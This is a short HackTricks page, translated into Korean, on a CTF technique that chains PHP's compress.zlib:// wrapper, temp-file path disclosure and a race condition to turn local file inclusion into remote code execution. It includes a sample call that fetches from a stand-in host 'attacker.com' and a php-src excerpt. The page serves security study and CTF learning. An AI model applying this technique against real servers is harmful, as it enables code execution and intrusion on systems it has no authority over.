LFI2RCE Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure

Support HackTricks

compress.zlib://PHP_STREAM_PREFER_STDIO

PHP_STREAM_PREFER_STDIO 플래그와 함께 compress.zlib:// 프로토콜을 사용하여 열린 파일은 나중에 연결로 도착하는 데이터를 동일한 파일에 계속 쓸 수 있습니다.

이는 다음과 같은 호출을 의미합니다:

file_get_contents("compress.zlib://http://attacker.com/file")

http://attacker.com/file에 대한 요청을 보낼 것입니다. 그러면 서버는 유효한 HTTP 응답으로 요청에 응답할 수 있으며, 연결을 유지하고 나중에 파일에 기록될 추가 데이터를 보낼 수 있습니다.

이 정보는 php-src 코드의 main/streams/cast.c의 이 부분에서 확인할 수 있습니다:

/* Use a tmpfile and copy the old streams contents into it */

if (flags & PHP_STREAM_PREFER_STDIO) {
*newstream = php_stream_fopen_tmpfile();
} else {
*newstream = php_stream_temp_new();
}

Race Condition to RCE

이 CTF는 이전의 트릭을 사용하여 해결되었습니다.

공격자는 피해자 서버가 공격자의 서버에서 파일을 읽는 연결을 열도록 할 것입니다 compress.zlib 프로토콜을 사용하여.

연결이 존재하는 동안 공격자는 생성된 임시 파일의 경로를 유출할 것입니다 (서버에 의해 유출됨).

연결이 여전히 열려 있는 동안 공격자는 자신이 제어하는 임시 파일을 로드하는 LFI를 이용할 것입니다.

그러나 웹 서버에는 **<?**가 포함된 파일을 로드하는 것을 방지하는 체크가 있습니다. 따라서 공격자는 경쟁 조건을 악용할 것입니다. 여전히 열려 있는 연결에서 공격자는 웹 서버가 금지된 문자가 포함되어 있는지 확인한 후 PHP 페이로드를 전송할 것입니다. 그러나 내용을 로드하기 전에입니다.

자세한 정보는 https://balsn.tw/ctf_writeup/20191228-hxp36c3ctf/#includer에서 경쟁 조건 및 CTF 설명을 확인하세요.

Support HackTricks

Last updated